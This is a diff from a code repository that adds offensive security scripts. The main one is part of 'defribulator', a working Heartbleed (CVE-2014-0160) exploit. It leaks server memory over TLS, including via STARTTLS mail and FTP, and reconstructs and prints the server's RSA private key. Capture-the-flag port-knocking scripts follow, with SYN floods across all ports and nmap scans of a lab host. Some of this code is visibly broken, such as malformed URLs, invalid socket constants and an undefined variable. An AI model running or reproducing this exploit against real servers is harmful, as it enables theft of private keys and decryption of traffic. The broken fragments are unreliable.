output = os.popen('openssl x509 -in hb-certs/sslcert_' + targ + '.pem -modulus -noout | cut -d= -f2')
|
||||
modulus = output.read()
|
||||
|
||||
s = conn(targ, port)
|
||||
if not s:
|
||||
continue
|
||||
|
||||
# send starttls command if specified as an option or if common smtp/pop3/imap ports are used
|
||||
if (opts.starttls) or (port in {25, 587, 110, 143, 21}):
|
||||
|
||||
stls = False
|
||||
atls = False
|
||||
|
||||
# check if smtp supports starttls/stls
|
||||
if port in {25, 587}:
|
||||
print 'SMTP Port... Checking for STARTTLS Capability...'
|
||||
check = s.recv(1024)
|
||||
s.send("EHLO someone.org\n")
|
||||
sys.stdout.flush()
|
||||
check += s.recv(1024)
|
||||
if opts.verbose:
|
||||
print check
|
||||
|
||||
if "STARTTLS" in check:
|
||||
opts.starttls = True
|
||||
print "STARTTLS command found"
|
||||
elif "STLS" in check:
|
||||
opts.starttls = True
|
||||
stls = True
|
||||
print "STLS command found"
|
||||
else:
|
||||
print "STARTTLS command NOT found!"
|
||||
print '##################################################################'
|
||||
return
|
||||
|
||||
# check if pop3/imap supports starttls/stls
|
||||
elif port in {110, 143}:
|
||||
print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...'
|
||||
check = s.recv(1024)
|
||||
if port == 110:
|
||||
s.send("CAPA\n")
|
||||
if port == 143:
|
||||
s.send("CAPABILITY\n")
|
||||
sys.stdout.flush()
|
||||
check += s.recv(1024)
|
||||
if opts.verbose:
|
||||
print check
|
||||
|
||||
if "STARTTLS" in check:
|
||||
opts.starttls = True
|
||||
print "STARTTLS command found"
|
||||
elif "STLS" in check:
|
||||
opts.starttls = True
|
||||
stls = True
|
||||
print "STLS command found"
|
||||
else:
|
||||
print "STARTTLS command NOT found!"
|
||||
print '##################################################################'
|
||||
return
|
||||
|
||||
# check if ftp supports auth tls/starttls
|
||||
elif port in {21}:
|
||||
print 'FTP Port... Checking for AUTH TLS Capability...'
|
||||
check = s.recv(1024)
|
||||
s.send("FEAT\n")
|
||||
sys.stdout.flush()
|
||||
check += s.recv(1024)
|
||||
if opts.verbose:
|
||||
print check
|
||||
|
||||
if "STARTTLS" in check:
|
||||
opts.starttls = True
|
||||
print "STARTTLS command found"
|
||||
elif "AUTH TLS" in check:
|
||||
opts.starttls = True
|
||||
atls = True
|
||||
print "AUTH TLS command found"
|
||||
else:
|
||||
print "STARTTLS command NOT found!"
|
||||
print '##################################################################'
|
||||
return
|
||||
|
||||
# send appropriate tls command if supported
|
||||
if opts.starttls:
|
||||
sys.stdout.flush()
|
||||
if stls:
|
||||
print 'Sending STLS Command...'
|
||||
s.send("STLS\n")
|
||||
elif atls:
|
||||
print 'Sending AUTH TLS Command...'
|
||||
s.send("AUTH TLS\n")
|
||||
else:
|
||||
print 'Sending STARTTLS Command...'
|
||||
s.send("STARTTLS\n")
|
||||
if opts.verbose:
|
||||
print 'Waiting for reply...'
|
||||
sys.stdout.flush()
|
||||
rcv_tls_record(s)
|
||||
|
||||
supported = False
|
||||
for num,tlsver in tls_versions.items():
|
||||
|
||||
if firstrun:
|
||||
print 'Sending Client Hello for {}'.format(tlsver)
|
||||
s.send(hex2bin(build_client_hello(num)))
|
||||
|
||||
if opts.verbose:
|
||||
print 'Waiting for Server Hello...'
|
||||
|
||||
while True:
|
||||
typ,ver,message = rcv_tls_record(s)
|
||||
if not typ:
|
||||
if opts.verbose:
|
||||
print 'Server closed connection without sending ServerHello for {}'.format(tlsver)
|
||||
s.close()
|
||||
s = conn(targ, port)
|
||||
break
|
||||
if typ == 22 and ord(message[0]) == 0x0E:
|
||||
if firstrun:
|
||||
print 'Received Server Hello for {}'.format(tlsver)
|
||||
supported = True
|
||||
break
|
||||
if supported: break
|
||||
|
||||
if not supported:
|
||||
print '\nError! No TLS versions supported!'
|
||||
print '##################################################################'
|
||||
return
|
||||
|
||||
if opts.verbose:
|
||||
print '\nSending heartbeat request...'
|
||||
sys.stdout.flush()
|
||||
|
||||
keyfound = False
|
||||
if opts.extractkey:
|
||||
res = hit_hb(s, targ, firstrun, supported)
|
||||
if res == '':
|
||||
continue
|
||||
keyfound = extractkey(targ, res, modulus)
|
||||
else:
|
||||
res += hit_hb(s, targ, firstrun, supported)
|
||||
s.close()
|
||||
if keyfound:
|
||||
sys.exit(0)
|
||||
else:
|
||||
sys.stdout.write('\rPlease wait... connection attempt ' + str(x+1) + ' of ' + str(opts.num))
|
||||
sys.stdout.flush()
|
||||
|
||||
print '\n##################################################################'
|
||||
print
|
||||
return res
|
||||
|
||||
except Exception as e:
|
||||
print "Error! " + str(e)
|
||||
print '##################################################################'
|
||||
print
|
||||
|
||||
def extractkey(host, chunk, modulus):
|
||||
|
||||
#print "\nChecking for private key...\n"
|
||||
n = int (modulus, 16)
|
||||
keysize = n.bit_length() / 16
|
||||
|
||||
for offset in xrange (0, len (chunk) - keysize):
|
||||
p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize - 1, offset - 1, -1)]).strip(), 16)
|
||||
if gmpy.is_prime (p) and p != n and n % p == 0:
|
||||
if opts.verbose:
|
||||
print '\n\nFound prime: ' + str(p)
|
||||
e = 65537
|
||||
q = n / p
|
||||
phi = (p - 1) * (q - 1)
|
||||
d = gmpy.invert (e, phi)
|
||||
dp = d % (p - 1)
|
||||
dq = d % (q - 1)
|
||||
qinv = gmpy.invert (q, p)
|
||||
seq = Sequence()
|
||||
for x in [0, n, e, d, p, q, dp, dq, qinv]:
|
||||
seq.setComponentByPosition (len (seq), Integer (x))
|
||||
print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring(encoder.encode (seq))
|
||||
privkeydump = open("hb-certs/privkey_" + host + ".dmp", "a")
|
||||
privkeydump.write(chunk)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def main():
|
||||
|
||||
print "\ndefribulator v1.16"
|
||||
print "A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)"
|
||||
allresults = ''
|
||||
|
||||
# if a file is specified, loop through file
|
||||
if opts.filein:
|
||||
fileIN = open(opts.filein, "r")
|
||||
|
||||
for line in fileIN:
|
||||
targetinfo = line.strip().split(":")
|
||||
if len(targetinfo) > 1:
|
||||
allresults = bleed(targetinfo[0], int(targetinfo[1]))
|
||||
else:
|
||||
allresults = bleed(targetinfo[0], opts.port)
|
||||
|
||||
if allresults and (not opts.donotdisplay):
|
||||
print '%s' % (allresults)
|
||||
|
||||
fileIN.close()
|
||||
|
||||
else:
|
||||
if len(args) < 1:
|
||||
options.print_help()
|
||||
return
|
||||
allresults = bleed(args[0], opts.port)
|
||||
if allresults and (not opts.donotdisplay):
|
||||
print '%s' % (allresults)
|
||||
|
||||
print
|
||||
|
||||
if opts.rawoutfile:
|
||||
rawfileOUT.close()
|
||||
|
||||
if opts.asciioutfile:
|
||||
asciifileOUT.close()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
60
useful/port_knocking/port_knocking.py
Normal file
60
useful/port_knocking/port_knocking.py
Normal file
@ -0,0 +1,60 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
from scapy.all import *
|
||||
import random
|
||||
import requests
|
||||
|
||||
conf.verb=0
|
||||
|
||||
base_URL = "http://10.13.37.23:"
|
||||
|
||||
def knock(ports):
|
||||
print "[*] Knocking on ports"+str(ports)
|
||||
for dport in range(0, len(ports)):
|
||||
ip = IP(dst = "10.13.37.23")
|
||||
SYN = ip/TCP(dport=ports[dport], flags="S", window=14600, options=[('MSS',1460)])
|
||||
send(SYN)
|
||||
|
||||
def get_flag_part(port,part):
|
||||
command = ["curl", "-s" ,base_URL+str(port)+"/"+part+"_part_of_flag"]
|
||||
p = subprocess.Popen(command, stdout=subprocess.PIPE)
|
||||
result = p.communicate()[0]
|
||||
return result.strip()
|
||||
|
||||
flag=''
|
||||
|
||||
ports = [9264,11780,2059,8334]
|
||||
port = 24931
|
||||
knock(ports)
|
||||
flag_part = get_flag_part(port,"first")
|
||||
flag = ''.join([flag,flag_part])
|
||||
print flag_part
|
||||
|
||||
ports = [42304,53768,3297]
|
||||
port = 19760
|
||||
knock(ports)
|
||||
flag_part = get_flag_part(port,"second")
|
||||
flag = ''.join([flag,flag_part])
|
||||
print flag_part
|
||||
|
||||
ports= [23106,4250,62532,11655,33844]
|
||||
port=3695
|
||||
knock(ports)
|
||||
flag_part = get_flag_part(port,"third")
|
||||
flag = ''.join([flag,flag_part])
|
||||
print flag_part
|
||||
|
||||
ports= [49377,48116,54900,8149]
|
||||
port=31054
|
||||
knock(ports)
|
||||
flag_part = get_flag_part(port,"fourth")
|
||||
flag = ''.join([flag,flag_part])
|
||||
print flag_part
|
||||
|
||||
ports= [16340,59991,37429,60012,15397,21864,12923]
|
||||
port=8799
|
||||
knock(ports)
|
||||
flag_part = get_flag_part(port,"last")
|
||||
flag = ''.join([flag,flag_part])
|
||||
print flag_part
|
||||
print "Flag: %s" % flag
|
||||
43
useful/port_knocking/port_knocking2.py
Normal file
43
useful/port_knocking/port_knocking2.py
Normal file
@ -0,0 +1,43 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
|
||||
from scapy.all import *
|
||||
|
||||
conf.verb = 0
|
||||
base_URL = "10.13.37.23"
|
||||
|
||||
def get_flag_part(port):
|
||||
command = ["curl", "-s" ,base_URL+str(port)+"/flag.txt"]
|
||||
p = subprocess.Popen(command, stdout=subprocess.PIPE)
|
||||
result = p.communicate()[0]
|
||||
return result.strip()
|
||||
|
||||
|
||||
# ports = [21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 199, 443, 995, 587, 1025, 1720, 993, 1723, 3306, 3389, 5900, 8080, 8888]
|
||||
|
||||
|
||||
|
||||
# METHOD 1
|
||||
|
||||
# Knock twice on every port
|
||||
for dport in range(65535):
|
||||
|
||||
print "[*] Knocking on " + base_URL + ": " + str(dport)
|
||||
ip = IP(dst=base_URL)
|
||||
port = dport + 10
|
||||
SYN = ip/TCP(sport=port, dport=dport, flags="S", window=14600, options=[('MSS',1460)], seq=0)
|
||||
send(SYN);
|
||||
port = dport + 100
|
||||
SYN = ip/TCP(sport=port, dport=dport, flags="S", window=14600, options=[('MSS',1460)], seq=0)
|
||||
send(SYN);
|
||||
|
||||
flag = get_flag_part(port)
|
||||
if "404" not in flag:
|
||||
print "************************Yaaaayyyyyyyy************************"
|
||||
print flag
|
||||
|
||||
|
||||
# METHOD 2
|
||||
|
||||
print "[*] Scanning for open ports using nmap"
|
||||
subprocess.call("nmap -sS -sV -T4 -p 22-2048 " + base_URL, shell=True)
|
||||
76
useful/port_knocking/port_knocking3.py
Normal file
76
useful/port_knocking/port_knocking3.py
Normal file
@ -0,0 +1,76 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
|
||||
from scapy.all import *
|
||||
|
||||
conf.verb = 0
|
||||
base_URL = "10.13.37.23"
|
||||
|
||||
def get_flag_part(port):
|
||||
command = ["curl", "-s" ,base_URL+str(port)+"/flag.txt"]
|
||||
p = subprocess.Popen(command, stdout=subprocess.PIPE)
|
||||
result = p.communicate()[0]
|
||||
return result.strip()
|
||||
|
||||
|
||||
ports = [39367, 39368]
|
||||
save = []
|
||||
|
||||
ports = [21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 199, 443, 995, 587, 1025, 1720, 993, 1723, 3306, 3389, 5900, 8080, 8888]
|
||||
|
||||
|
||||
# Knock twice on every port
|
||||
for dport in ports:
|
||||
|
||||
print "[*] Knocking on " + base_URL + ": " + str(dport)
|
||||
ip = IP(dst=base_URL)
|
||||
SYN = ip/TCP(dport=dport, flags="S")
|
||||
send(SYN);
|
||||
SYN = ip/TCP(dport=dport, flags="S")
|
||||
send(SYN);
|
||||
|
||||
"""
|
||||
#flag = get_flag_part(dport)
|
||||
#if "404" not in flag:
|
||||
# save.append(flag)
|
||||
|
||||
|
||||
if save:
|
||||
print "Maybe?"
|
||||
print flag
|
||||
|
||||
|
||||
# METHOD 2
|
||||
|
||||
#print "[*] Scanning for open ports using nmap"
|
||||
"""
|
||||
subprocess.call("nmap -sS -sV -T4 -p 22-2048 " + base_URL, shell=True)
|
||||
|
||||
"""
|
||||
import socket
|
||||
|
||||
host = "10.13.37.23"
|
||||
startport = 0
|
||||
endport = 32000
|
||||
|
||||
|
||||
|
||||
def knock(port):
|
||||
s = socket.socket(socket.AF_NET, socket.SOCK_TEAM)
|
||||
s.send(1024)
|
||||
s.settimeout((0,0))
|
||||
try:
|
||||
s.connect((host, port))
|
||||
s.recv(1024)
|
||||
|
||||
|
||||
for port in range (startport, endport):
|
||||
knock(host, port)
|
||||
time.sleep(3)
|
||||
"""
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
15
useful/watch_dir_change.sh
Executable file
15
useful/watch_dir_change.sh
Executable file
@ -0,0 +1,15 @@
|
||||
#!/bin/bash
|
||||
|
||||
FILE=~/Desktop/test/ghost
|
||||
FILE1=~/Desktop/test/cpghost
|
||||
|
||||
|
||||
while [[ true ]]
|
||||
do
|
||||
if [ -f $FILE ]
|
||||
then
|
||||
cp $FILE $FILE2
|
||||
echo got it
|
||||
fi
|
||||
sleep 2
|
||||
done
|
||||
Loading…
x
Reference in New Issue
Block a user